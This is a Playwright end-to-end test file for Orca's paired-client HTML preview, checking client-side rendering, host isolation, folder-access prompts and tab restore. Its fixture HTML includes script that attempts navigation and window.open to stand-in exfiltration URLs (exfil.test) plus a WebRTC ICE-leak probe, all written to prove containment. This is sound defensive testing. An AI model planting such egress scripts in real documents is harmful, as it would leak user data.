Files
orca/tests/e2e/paired-remote-html-preview-local-render.spec.ts

809 lines
34 KiB
TypeScript
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
import { mkdirSync, writeFileSync } from 'node:fs'
import path from 'node:path'
import type { Locator, Page, TestInfo } from '@stablyai/playwright-test'
import { expect, test } from './helpers/orca-app'
import { openFileExplorer } from './helpers/file-explorer'
import {
createRuntimeDesktopPairingOffer,
launchPairedElectronClient,
type PairedElectronClient,
type RuntimeDesktopPairingOffer
} from './helpers/paired-electron-client'
import { cleanupE2EDaemons, closeElectronAppForE2E } from './helpers/electron-process-shutdown'
import { startClientHostedMarkerFixture } from './helpers/client-hosted-browser-fixture'
import {
readClientBrowserPageUrls,
readDocPreviewElementCenter,
readDocPreviewGuestRects,
readDocPreviewGuestUrl,
readDocPreviewRenderedText,
readPairedHtmlPreviewInventory,
requireSingleDocWorkspace
} from './helpers/paired-html-preview-inventory'
import { focusPairedClientWindow } from './helpers/paired-client-window-reveal'
import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store'
const FIXTURE_NAME = 'paired-html-focus.html'
const FIXTURE_HEADING = 'paired html preview'
/** The document names its own tab, exactly as a URL page's `<title>` does. */
const FIXTURE_TITLE = 'Paired Preview Document Title'
const RESTORE_FIXTURE_NAME = 'paired-html-restore.html'
const RESTORE_FIXTURE_HEADING = 'preview survives a relaunch'
const RESTORE_FIXTURE_TITLE = 'Restored Preview Document'
const EXTERNAL_LINK_URL = 'https://example.com/from-preview'
/** Stands in for the exfiltration a previewed document would attempt on its own, with no one at the keyboard. */
const SCRIPTED_EGRESS_URL = 'https://exfil.test/?d=scripted'
/** The same exfiltration, but riding a press the reader really made somewhere else in the document. */
const POST_INPUT_EGRESS_URL = 'https://exfil.test/?d=after-input'
const BLANK_PAGE_URL = 'data:text/html,'
const SCOPED_FIXTURE_NAME = 'scoped-preview.html'
const SCOPED_FIXTURE_HEADING = 'scoped preview rendered'
const SCOPED_ASSET_TEXT = 'approved sibling asset loaded'
type PreparedPairedClient = {
client: PairedElectronClient
worktreeId: string
worktreePath: string
}
async function preparePairedClient(
offer: RuntimeDesktopPairingOffer,
testInfo: TestInfo,
name: string,
testRepoPath: string,
options: { reuseUserDataDir?: string } = {}
): Promise<PreparedPairedClient> {
const client = await launchPairedElectronClient(offer, testInfo, name, options)
try {
await expect
.poll(() => findWorktreeId(client.page, testRepoPath), {
timeout: 120_000,
message: 'paired client never received the host worktree'
})
.not.toBeNull()
const worktree = await client.page.evaluate((repoPath) => {
const match = window.__store
?.getState()
.allWorktrees()
.find((candidate) => candidate.path === repoPath)
return match ? { id: match.id, path: match.path } : null
}, testRepoPath)
if (!worktree) {
throw new Error('paired client worktree disappeared after discovery')
}
await client.page.evaluate(
({ environmentId, worktreeId }) => {
window.__store?.getState().setActiveWorktree(worktreeId, `runtime:${environmentId}`)
},
{ environmentId: client.environmentId, worktreeId: worktree.id }
)
return { client, worktreeId: worktree.id, worktreePath: worktree.path }
} catch (error) {
await client.dispose()
throw error
}
}
async function findWorktreeId(page: Page, repoPath: string): Promise<string | null> {
return page.evaluate(
(candidatePath) =>
window.__store
?.getState()
.allWorktrees()
.find((worktree) => worktree.path === candidatePath)?.id ?? null,
repoPath
)
}
async function revealPreviewAction(page: Page, fixtureName: string): Promise<Locator> {
await openFileExplorer(page)
const fixtureRow = page.locator('[data-file-explorer-row]').filter({ hasText: fixtureName })
await expect(fixtureRow).toBeVisible({ timeout: 30_000 })
await fixtureRow.click()
const openPreview = page.getByRole('button', { name: 'Preview', exact: true })
await expect(openPreview).toBeVisible({ timeout: 30_000 })
return openPreview
}
async function focusBrowserWorkspace(
page: Page,
worktreeId: string,
workspaceId: string
): Promise<void> {
await page.evaluate(
({ workspaceId, worktreeId }) => {
window.__store
?.getState()
.focusBrowserTabInWorktree(worktreeId, workspaceId, { surfacePane: true })
},
{ workspaceId, worktreeId }
)
}
// STA-5557: render workspace-document previews client-side over orca-preview://.
// Require exactly one named, blank-URL document workspace on the client and no page or grant in host inventory.
test('renders a paired HTML doc as a document browser tab while the host gains no browser page', async ({
orcaPage,
testRepoPath
}, testInfo) => {
test.setTimeout(300_000)
writeFileSync(
path.join(testRepoPath, FIXTURE_NAME),
`<!doctype html><html><head><title>${FIXTURE_TITLE}</title></head>` +
`<body><h1>${FIXTURE_HEADING}</h1>` +
`<p><a id="external" href="${EXTERNAL_LINK_URL}" target="_blank" ` +
`style="display:inline-block;padding:24px;font-size:24px">external link</a></p>` +
`<div id="link-clicks">0</div>` +
// Count document presses to distinguish missed anchors from routing refusal.
`<script>document.getElementById('external').addEventListener('click',()=>{` +
`const out=document.getElementById('link-clicks');` +
`out.textContent=String(Number(out.textContent)+1)},true)</script>` +
`<div id="webrtc-probe">pending</div>` +
// Probe inside the inline document script; harness executeJavaScript bypasses its permissions.
// Require zero ICE candidates: constructor success is allowed, but STUN gathering can leak without signaling.
`<script>(async()=>{const out=document.getElementById('webrtc-probe');try{` +
`const pc=new RTCPeerConnection();const found=[];` +
`pc.onicecandidate=(event)=>{if(event.candidate&&event.candidate.candidate){found.push(1)}};` +
`pc.createDataChannel('probe');` +
`await pc.setLocalDescription(await pc.createOffer());` +
`await new Promise((resolve)=>setTimeout(resolve,2000));` +
`out.textContent='candidates='+found.length}` +
`catch(error){out.textContent='threw:'+error.name}})()</script>` +
`<div id="post-input-egress">idle</div>` +
`<div id="scripted-egress">idle</div>` +
// Attempt unattended navigation after grant reads; stable browser counts must prove no exfiltration route.
// Also attempt navigation during unrelated real input so a recent-input heuristic cannot authorize it.
// Install listeners before location.href can stop parsing the remaining document.
`<script>document.addEventListener('pointerdown',()=>{` +
`const out=document.getElementById('post-input-egress');` +
`if(out.textContent==='attempted'){return}out.textContent='attempted';` +
`try{window.open('${POST_INPUT_EGRESS_URL}','_blank')}catch(error){}` +
`location.href='${POST_INPUT_EGRESS_URL}'},true);` +
`document.getElementById('scripted-egress').textContent='attempted';` +
`try{window.open('${SCRIPTED_EGRESS_URL}','_blank')}catch(error){}` +
`location.href='${SCRIPTED_EGRESS_URL}'</script>` +
`</body></html>\n`
)
await waitForSessionReady(orcaPage)
await waitForActiveWorktree(orcaPage)
await ensureTerminalVisible(orcaPage)
const offer = await createRuntimeDesktopPairingOffer(orcaPage)
const marker = await startClientHostedMarkerFixture()
let prepared: PreparedPairedClient | null = null
try {
prepared = await preparePairedClient(offer, testInfo, 'Remote HTML preview', testRepoPath)
const { client, worktreeId, worktreePath } = prepared
const page = client.page
const docFilePath = path.join(worktreePath, FIXTURE_NAME)
const inventoryArgs = { environmentId: client.environmentId, docFilePath, worktreeId }
const openPreview = await revealPreviewAction(page, FIXTURE_NAME)
const sourceEditor = await page.evaluate((targetWorktreeId) => {
const state = window.__store?.getState()
const groupId = state?.activeGroupIdByWorktree[targetWorktreeId]
const group = (state?.groupsByWorktree[targetWorktreeId] ?? []).find(
(candidate) => candidate.id === groupId
)
const tab = (state?.unifiedTabsByWorktree[targetWorktreeId] ?? []).find(
(candidate) => candidate.id === group?.activeTabId && candidate.contentType === 'editor'
)
return groupId && tab ? { groupId, tabId: tab.id } : null
}, worktreeId)
if (!sourceEditor) {
throw new Error('paired client editor had no source identity before the preview')
}
const sourceGroupId = sourceEditor.groupId
await expect
.poll(() => readPairedHtmlPreviewInventory(page, inventoryArgs), {
timeout: 30_000,
message: 'host tab baseline was never successfully observed'
})
.toMatchObject({ hostResponseOk: true, docWorkspaces: [] })
const baseline = await readPairedHtmlPreviewInventory(page, inventoryArgs)
await openPreview.click()
await expect
.poll(
async () =>
(await readPairedHtmlPreviewInventory(page, inventoryArgs)).docWorkspaces.length,
{ timeout: 60_000, message: 'the document browser tab never materialized' }
)
.toBe(1)
// Require a rendered document before interpreting absent host records.
await expect
.poll(() => readDocPreviewRenderedText(page, 'h1'), {
timeout: 60_000,
message: 'the preview guest never rendered the workspace document'
})
.toBe(FIXTURE_HEADING)
const firstGuestUrl = await readDocPreviewGuestUrl(page)
expect(firstGuestUrl).toMatch(/^orca-preview:\/\//)
// Check live ICE gathering because the main-process guest fence is absent from document headers.
await expect
.poll(() => readDocPreviewRenderedText(page, '#webrtc-probe'), {
timeout: 30_000,
message: 'the preview document never reported its ICE gathering result'
})
.toBe('candidates=0')
// Require the document’s attempted egress before treating unchanged counts as containment.
await expect
.poll(() => readDocPreviewRenderedText(page, '#scripted-egress'), {
timeout: 30_000,
message: 'the preview document never attempted its unattended egress'
})
.toBe('attempted')
const afterPreview = await readPairedHtmlPreviewInventory(page, inventoryArgs)
const previewRow = requireSingleDocWorkspace(afterPreview)
// Require the document’s file identity/title and blank URL in exactly one client workspace.
expect(afterPreview.clientBrowserWorkspaceCount).toBe(baseline.clientBrowserWorkspaceCount + 1)
expect({
pageUrl: previewRow.pageUrl,
title: previewRow.title,
workspaceDocFilePath: previewRow.workspaceDocFilePath,
workspaceUrl: previewRow.workspaceUrl
}).toEqual({
pageUrl: BLANK_PAGE_URL,
title: FIXTURE_TITLE,
workspaceDocFilePath: docFilePath,
workspaceUrl: BLANK_PAGE_URL
})
// Reject legacy html-preview:: editor rows resurrected by restore/actions.
expect(afterPreview.htmlPreviewEditorFileIds).toEqual([])
expect(previewRow.groupId).toBe(sourceGroupId)
// The heading follows both unattended attempts; unchanged host state proves neither opened a page or published the grant.
expect(afterPreview.hostBrowserPages).toEqual(baseline.hostBrowserPages)
expect(afterPreview.hostSessionBrowserTabs).toEqual(baseline.hostSessionBrowserTabs)
// STA-5681: the document chip opens the editable address bar while retaining file identity.
const pathChip = page.getByRole('button', { name: 'Edit address', exact: true })
await expect(pathChip).toBeVisible({ timeout: 30_000 })
await expect(pathChip).toContainText(FIXTURE_NAME)
// Hide the identity row whole below 24rem content width; otherwise keep its badge inside the chip.
const hostBadge = pathChip.locator('[data-slot="badge"]')
const pathChipBox = await pathChip.boundingBox()
expect(pathChipBox).not.toBeNull()
if (await hostBadge.isVisible()) {
const hostBadgeBox = await hostBadge.boundingBox()
expect(hostBadgeBox).not.toBeNull()
expect((hostBadgeBox?.x ?? 0) + (hostBadgeBox?.width ?? 0)).toBeLessThanOrEqual(
(pathChipBox?.x ?? 0) + (pathChipBox?.width ?? 0) + 0.5
)
} else {
// 26rem border-box width clears the 24rem content threshold plus padding.
expect(pathChipBox?.width ?? 0).toBeLessThan(416)
}
await expect(page.locator(`[data-tab-group-body-id="${sourceGroupId}"]`)).toBeVisible()
await expect(page.locator(`[data-tab-id="${sourceEditor.tabId}"]`)).toBeVisible()
// Preview opens as the active tab in the source editor's group, without splitting.
await expect
.poll(
() =>
page.evaluate((targetWorktreeId) => {
const state = window.__store?.getState()
const groups = state?.groupsByWorktree[targetWorktreeId] ?? []
const activeGroup = groups.find(
(group) => group.id === state?.activeGroupIdByWorktree[targetWorktreeId]
)
return {
groupCount: groups.length,
activeGroupId: activeGroup?.id ?? null,
activeTabId: activeGroup?.activeTabId ?? null,
activeTabType: state?.activeTabTypeByWorktree[targetWorktreeId] ?? null
}
}, worktreeId),
{ timeout: 30_000, message: 'preview placement never settled' }
)
.toEqual({
groupCount: 1,
activeGroupId: sourceGroupId,
activeTabId: previewRow.unifiedTabId,
activeTabType: 'browser'
})
const terminalTabId = await page.evaluate((targetWorktreeId) => {
const state = window.__store?.getState()
return state?.tabsByWorktree[targetWorktreeId]?.[0]?.id ?? null
}, worktreeId)
if (!terminalTabId) {
throw new Error('paired client lost its terminal tab')
}
await page.locator(`[data-tab-id="${terminalTabId}"]`).click()
await expect
.poll(
() =>
page.evaluate((targetWorktreeId) => {
const state = window.__store?.getState()
return state?.activeTabTypeByWorktree[targetWorktreeId] ?? null
}, worktreeId),
{ message: 'terminal tab never became active before returning to the preview' }
)
.toBe('terminal')
// Browser strip rows/X use workspace ids, not unified tab ids.
const previewTab = page.locator(`[data-tab-id="${previewRow.workspaceId}"]`)
await previewTab.click()
await expect
.poll(
() =>
page.evaluate(
({ previewTabId, worktreeId: targetWorktreeId }) => {
const state = window.__store?.getState()
const activeGroup = (state?.groupsByWorktree[targetWorktreeId] ?? []).find(
(group) => group.id === state?.activeGroupIdByWorktree[targetWorktreeId]
)
return activeGroup?.activeTabId === previewTabId
},
{ previewTabId: previewRow.unifiedTabId, worktreeId }
),
{ timeout: 30_000, message: 'clicking the preview tab did not reactivate it' }
)
.toBe(true)
expect(await readDocPreviewRenderedText(page, 'h1')).toBe(FIXTURE_HEADING)
// Positive control: this same host registry must contain an ordinary client URL page.
await page.evaluate(async (url) => {
const state = window.__store?.getState()
const worktreeId = state?.activeWorktreeId
const groupId = worktreeId ? state?.activeGroupIdByWorktree[worktreeId] : null
if (!state || !groupId) {
throw new Error('paired client had no active group to open a browser tab in')
}
state.setBrowserDefaultUrl(url)
await state.openNewBrowserTabInActiveWorkspace(groupId)
}, marker.markerUrl)
await expect
.poll(
async () =>
(await readPairedHtmlPreviewInventory(page, inventoryArgs)).hostBrowserPages.filter(
(hostPage) => hostPage.url.startsWith(marker.origin)
).length,
{
timeout: 60_000,
message: 'a plain URL browser tab from this client never reached the host page registry'
}
)
.toBe(1)
const withMarker = await readPairedHtmlPreviewInventory(page, inventoryArgs)
// Positive control: this host snapshot must project an ordinary published browser tab.
expect(
withMarker.hostSessionBrowserTabs.filter((tab) => tab.url.startsWith(marker.origin))
).toHaveLength(1)
// Nothing the host now holds names the preview: not its document, and not the grant URL the
// document is served over.
expect(
withMarker.hostBrowserPages.filter(
(hostPage) =>
hostPage.url.includes('orca-preview:') ||
hostPage.url.includes(FIXTURE_NAME) ||
hostPage.title === FIXTURE_TITLE
)
).toEqual([])
expect(withMarker.docWorkspaces).toHaveLength(1)
// Close the URL tab’s offscreen window before trusted-click checks, which read the frontmost contents; require its host removal too.
await page.evaluate((origin) => {
const state = window.__store?.getState()
const worktreeId = state?.activeWorktreeId
for (const workspace of state?.browserTabsByWorktree[worktreeId ?? ''] ?? []) {
const pages = state?.browserPagesByWorkspace[workspace.id] ?? []
if (pages.some((browserPage) => browserPage.url.startsWith(origin))) {
state?.closeBrowserTab(workspace.id)
}
}
}, marker.origin)
await expect
.poll(
async () =>
(await readPairedHtmlPreviewInventory(page, inventoryArgs)).hostBrowserPages.length,
{ timeout: 60_000, message: 'closing the URL tab never reached the host page registry' }
)
.toBe(baseline.hostBrowserPages.length)
await previewTab.hover()
await previewTab.locator('button').click()
await expect
.poll(
async () => {
const closed = await readPairedHtmlPreviewInventory(page, inventoryArgs)
return {
docWorkspaces: closed.docWorkspaces.length,
hostBrowserPages: closed.hostBrowserPages.length,
sourceGroupPresent: await page.evaluate(
({ groupId, worktreeId: targetWorktreeId }) =>
(window.__store?.getState()?.groupsByWorktree[targetWorktreeId] ?? []).some(
(group) => group.id === groupId
),
{ groupId: sourceGroupId, worktreeId }
)
}
},
{ timeout: 30_000, message: 'closing the preview did not converge' }
)
.toEqual({
docWorkspaces: 0,
hostBrowserPages: baseline.hostBrowserPages.length,
sourceGroupPresent: true
})
await expect(previewTab).toHaveCount(0)
await expect(page.locator(`[data-tab-id="${terminalTabId}"]`)).toBeVisible()
// Reselect the editor so it mounts and proves preview close left it usable.
await page.locator(`[data-tab-id="${sourceEditor.tabId}"]`).click()
await expect(
page.locator(`[data-tab-group-body-id="${sourceGroupId}"] .monaco-editor`)
).toBeVisible({ timeout: 30_000 })
// Run trusted mouse routing last because it intentionally creates a tab, outside the earlier no-new-browser oracle.
const reopenPreview = await revealPreviewAction(page, FIXTURE_NAME)
await reopenPreview.click()
await expect
.poll(
async () =>
(await readPairedHtmlPreviewInventory(page, inventoryArgs)).docWorkspaces.length,
{ timeout: 60_000, message: 'the preview never came back after being closed' }
)
.toBe(1)
// Select the preview to establish a pane rect before clicking its guest.
const reopenedRow = requireSingleDocWorkspace(
await readPairedHtmlPreviewInventory(page, inventoryArgs)
)
await focusBrowserWorkspace(page, worktreeId, reopenedRow.workspaceId)
await page.locator(`[data-tab-id="${reopenedRow.workspaceId}"]`).click()
await expect
.poll(() => readDocPreviewRenderedText(page, 'h1'), {
timeout: 60_000,
message: 'the reopened preview never rendered before the external link click'
})
.toBe(FIXTURE_HEADING)
// Require one laid-out guest so stale/hidden panes cannot supply unusable rectangles.
const guestRects = await readDocPreviewGuestRects(page)
expect(guestRects).toHaveLength(1)
expect(guestRects[0]?.width).toBeGreaterThan(0)
expect(guestRects[0]?.hiddenAncestor).toBe(false)
// Poll until the guest’s own hit test confirms the link, avoiding stale layout coordinates.
await expect
.poll(() => readDocPreviewElementCenter(page, '#external'), {
timeout: 30_000,
message: 'the external link never settled at a clickable point in the preview guest'
})
.not.toBeNull()
// Confirmed preview links honor the in-app preference; the default opens the system browser.
await page.evaluate(() => window.__store?.getState().updateSettings({ openLinksInApp: true }))
// Trusted routing checks the reader’s front contents; preserve the fixture’s guarded activation policy.
expect(await focusPairedClientWindow(client)).toMatchObject({
isFocused: true,
isVisible: true
})
// Take the baseline before the heading press so it cannot absorb an input-driven escape.
const linkBaseline = {
...(await readPairedHtmlPreviewInventory(page, inventoryArgs)),
clientPageUrls: await readClientBrowserPageUrls(page)
}
// Focus the guest via its heading before the real link click.
// Retry until guest hit testing registers; software compositing can initially deliver presses to the embedder webview.
// Require the document’s real-input escape attempt before checking containment.
await expect
.poll(
async () => {
if ((await readDocPreviewRenderedText(page, '#post-input-egress')) !== 'attempted') {
const headingPoint = await readDocPreviewElementCenter(page, 'h1')
if (headingPoint) {
await page.mouse.click(headingPoint.x, headingPoint.y)
}
}
return readDocPreviewRenderedText(page, '#post-input-egress')
},
{
timeout: 30_000,
intervals: [1_000],
message: 'the preview document never attempted its post-input egress'
}
)
.toBe('attempted')
const afterGenuineInput = await readPairedHtmlPreviewInventory(page, inventoryArgs)
expect({
clientBrowserWorkspaceCountAllWorktrees:
afterGenuineInput.clientBrowserWorkspaceCountAllWorktrees,
hostBrowserPages: afterGenuineInput.hostBrowserPages.length,
clientPageUrls: await readClientBrowserPageUrls(page)
}).toEqual({
clientBrowserWorkspaceCountAllWorktrees: linkBaseline.clientBrowserWorkspaceCountAllWorktrees,
hostBrowserPages: linkBaseline.hostBrowserPages.length,
clientPageUrls: linkBaseline.clientPageUrls
})
const guestFocus = await page.evaluate(() => {
const active = document.activeElement
const guest = document.querySelector('webview[src^="orca-preview://"]') as HTMLElement | null
const before = active?.tagName ?? null
guest?.focus()
return { before, after: document.activeElement?.tagName ?? null }
})
console.log(`[preview-e2e] before-focus ${JSON.stringify(guestFocus)}`)
const confirmation = page.getByRole('dialog', { name: 'Open link to example.com?' })
const confirmationTitle = confirmation.getByRole('heading', {
name: 'Open link to example.com?'
})
await expect
.poll(
async () => {
if (!(await confirmationTitle.isVisible())) {
const point = await readDocPreviewElementCenter(page, '#external')
if (point) {
await page.mouse.click(point.x, point.y)
}
}
return confirmationTitle.isVisible()
},
{
timeout: 60_000,
intervals: [2_000],
message: 'a target=_blank click never showed its destination confirmation'
}
)
.toBe(true)
await expect(confirmation.getByText(EXTERNAL_LINK_URL, { exact: true })).toBeVisible()
await confirmation.getByRole('button', { name: 'Cancel', exact: true }).click()
await expect(confirmationTitle).not.toBeVisible()
const afterCancel = await readPairedHtmlPreviewInventory(page, inventoryArgs)
expect({
clientPageUrls: await readClientBrowserPageUrls(page),
browserCount: afterCancel.clientBrowserWorkspaceCountAllWorktrees
}).toEqual({
clientPageUrls: linkBaseline.clientPageUrls,
browserCount: linkBaseline.clientBrowserWorkspaceCountAllWorktrees
})
try {
const point = await readDocPreviewElementCenter(page, '#external')
if (!point) {
throw new Error('external link lost its clickable point after cancellation')
}
await page.mouse.click(point.x, point.y)
await expect(confirmationTitle).toBeVisible({ timeout: 30_000 })
await confirmation.getByRole('button', { name: 'Open link', exact: true }).click()
await expect
.poll(
async () => {
const opened = await readPairedHtmlPreviewInventory(page, inventoryArgs)
return {
openedExternalLink: (await readClientBrowserPageUrls(page)).includes(
EXTERNAL_LINK_URL
),
docWorkspaces: opened.docWorkspaces.length,
linkClicks: await readDocPreviewRenderedText(page, '#link-clicks'),
openedTab:
opened.clientBrowserWorkspaceCountAllWorktrees >
linkBaseline.clientBrowserWorkspaceCountAllWorktrees
}
},
{
timeout: 60_000,
intervals: [2_000],
message: 'a confirmed preview link never opened an Orca browser tab'
}
)
.toMatchObject({
openedTab: true,
// Opening an external link must leave the preview document intact.
docWorkspaces: 1,
openedExternalLink: true
})
} catch (error) {
throw new Error(
`${String(error)} :: ${JSON.stringify({ linkClicks: await readDocPreviewRenderedText(page, '#link-clicks'), point: await readDocPreviewElementCenter(page, '#external'), rects: await readDocPreviewGuestRects(page) })}`
)
}
} finally {
await prepared?.client.dispose()
await marker.close()
}
})
test('asks before a paired preview reads a sibling directory', async ({
orcaPage,
testRepoPath
}, testInfo) => {
test.setTimeout(300_000)
const docsDirectory = path.join(testRepoPath, 'preview-docs')
const assetsDirectory = path.join(testRepoPath, 'preview-assets')
mkdirSync(docsDirectory, { recursive: true })
mkdirSync(assetsDirectory, { recursive: true })
writeFileSync(
path.join(docsDirectory, SCOPED_FIXTURE_NAME),
`<!doctype html><html><head><title>Scoped Preview</title></head><body>` +
`<h1>${SCOPED_FIXTURE_HEADING}</h1><div id="asset-result">blocked</div>` +
`<script src="../preview-assets/scoped-preview.js"></script></body></html>\n`
)
writeFileSync(
path.join(assetsDirectory, 'scoped-preview.js'),
`document.getElementById('asset-result').textContent=${JSON.stringify(SCOPED_ASSET_TEXT)}\n`
)
await waitForSessionReady(orcaPage)
await waitForActiveWorktree(orcaPage)
await ensureTerminalVisible(orcaPage)
const offer = await createRuntimeDesktopPairingOffer(orcaPage)
let prepared: PreparedPairedClient | null = null
try {
prepared = await preparePairedClient(offer, testInfo, 'Scoped HTML preview', testRepoPath)
const { client, worktreeId, worktreePath } = prepared
const page = client.page
const docFilePath = path.join(worktreePath, 'preview-docs', SCOPED_FIXTURE_NAME)
await page.evaluate(
({ environmentId, filePath, relativePath, targetWorktreeId }) => {
window.__store?.getState().openFile(
{
filePath,
relativePath,
worktreeId: targetWorktreeId,
language: 'html',
runtimeEnvironmentId: environmentId,
mode: 'edit'
},
{ preview: false, focusEditor: true }
)
},
{
environmentId: client.environmentId,
filePath: docFilePath,
relativePath: `preview-docs/${SCOPED_FIXTURE_NAME}`,
targetWorktreeId: worktreeId
}
)
const openPreview = page.getByRole('button', { name: 'Preview', exact: true })
await expect(openPreview).toBeVisible({ timeout: 30_000 })
await openPreview.click()
await expect
.poll(() => readDocPreviewRenderedText(page, 'h1'), {
timeout: 60_000,
message: 'the scoped preview document never rendered'
})
.toBe(SCOPED_FIXTURE_HEADING)
const workspace = await page.evaluate((targetWorktreeId) => {
const state = window.__store?.getState()
return (state?.browserTabsByWorktree[targetWorktreeId] ?? []).find((candidate) =>
candidate.docLocation?.filePath.endsWith('/scoped-preview.html')
)?.id
}, worktreeId)
if (!workspace) {
throw new Error('scoped preview had no document browser workspace')
}
await focusBrowserWorkspace(page, worktreeId, workspace)
await page.locator(`[data-tab-id="${workspace}"]`).click()
await expect(page.getByText('This preview wants to read files in preview-assets.')).toBeVisible(
{
timeout: 30_000
}
)
await expect.poll(() => readDocPreviewRenderedText(page, '#asset-result')).toBe('blocked')
await page.getByRole('button', { name: 'Allow folder', exact: true }).click()
await expect(
page.getByText('This preview wants to read files in preview-assets.')
).not.toBeVisible()
await expect
.poll(() => readDocPreviewRenderedText(page, '#asset-result'), {
timeout: 60_000,
message: 'the approved sibling asset never loaded after reload'
})
.toBe(SCOPED_ASSET_TEXT)
} finally {
await prepared?.client.dispose()
}
})
// Restore the same document tab with a newly minted client grant; yesterday’s served URL must never return.
test('restores the document tab, on a fresh grant, after the client quits and relaunches', async ({
orcaPage,
testRepoPath
}, testInfo) => {
test.setTimeout(300_000)
writeFileSync(
path.join(testRepoPath, RESTORE_FIXTURE_NAME),
`<!doctype html><html><head><title>${RESTORE_FIXTURE_TITLE}</title></head>` +
`<body><h1>${RESTORE_FIXTURE_HEADING}</h1></body></html>\n`
)
await waitForSessionReady(orcaPage)
await waitForActiveWorktree(orcaPage)
await ensureTerminalVisible(orcaPage)
const offer = await createRuntimeDesktopPairingOffer(orcaPage)
let prepared: PreparedPairedClient | null = null
let abandonedProfile: string | null = null
try {
prepared = await preparePairedClient(offer, testInfo, 'Preview restore', testRepoPath)
const profileDir = prepared.client.userDataDir
const { worktreeId, worktreePath } = prepared
const docFilePath = path.join(worktreePath, RESTORE_FIXTURE_NAME)
const inventoryArgs = {
environmentId: prepared.client.environmentId,
docFilePath,
worktreeId
}
const openPreview = await revealPreviewAction(prepared.client.page, RESTORE_FIXTURE_NAME)
await openPreview.click()
await expect
.poll(() => readDocPreviewRenderedText(prepared!.client.page, 'h1'), {
timeout: 60_000,
message: 'the preview guest never rendered the document before the quit'
})
.toBe(RESTORE_FIXTURE_HEADING)
const beforeQuit = await readPairedHtmlPreviewInventory(prepared.client.page, inventoryArgs)
const quitRow = requireSingleDocWorkspace(beforeQuit)
const guestUrlBeforeQuit = await readDocPreviewGuestUrl(prepared.client.page)
expect(guestUrlBeforeQuit).toMatch(/^orca-preview:\/\//)
// Quit without disposing: the profile has to outlive the app, as it does for a real Cmd+Q.
const quitting = prepared.client.app
prepared = null
abandonedProfile = profileDir
await closeElectronAppForE2E(quitting)
prepared = await preparePairedClient(offer, testInfo, 'Preview restore', testRepoPath, {
reuseUserDataDir: profileDir
})
abandonedProfile = null
const relaunched = prepared.client.page
const relaunchedArgs = {
environmentId: prepared.client.environmentId,
docFilePath,
worktreeId: prepared.worktreeId
}
await expect
.poll(
async () =>
(await readPairedHtmlPreviewInventory(relaunched, relaunchedArgs)).docWorkspaces.length,
{ timeout: 120_000, message: 'the relaunched client never restored the document tab' }
)
.toBe(1)
const restored = requireSingleDocWorkspace(
await readPairedHtmlPreviewInventory(relaunched, relaunchedArgs)
)
expect({
pageUrl: restored.pageUrl,
title: restored.title,
workspaceDocFilePath: restored.workspaceDocFilePath
}).toEqual({
pageUrl: BLANK_PAGE_URL,
title: RESTORE_FIXTURE_TITLE,
workspaceDocFilePath: docFilePath
})
// Require the original row id, not a replacement displaying the same document.
expect(restored.workspaceId).toBe(quitRow.workspaceId)
await focusBrowserWorkspace(relaunched, prepared.worktreeId, restored.workspaceId)
await expect
.poll(() => readDocPreviewRenderedText(relaunched, 'h1'), {
timeout: 120_000,
message: 'the restored document tab never rendered its document again'
})
.toBe(RESTORE_FIXTURE_HEADING)
const guestUrlAfterRestore = await readDocPreviewGuestUrl(relaunched)
expect(guestUrlAfterRestore).toMatch(/^orca-preview:\/\//)
// Require a new grant URL so neither disk nor host can restore the expired one.
expect(guestUrlAfterRestore).not.toBe(guestUrlBeforeQuit)
const afterRestore = await readPairedHtmlPreviewInventory(relaunched, relaunchedArgs)
expect(afterRestore.htmlPreviewEditorFileIds).toEqual([])
expect(
afterRestore.hostBrowserPages.filter(
(hostPage) =>
hostPage.url.includes('orca-preview:') || hostPage.url.includes(RESTORE_FIXTURE_NAME)
)
).toEqual([])
} finally {
await prepared?.client.dispose()
if (abandonedProfile) {
await cleanupE2EDaemons(abandonedProfile).catch(() => undefined)
}
}
})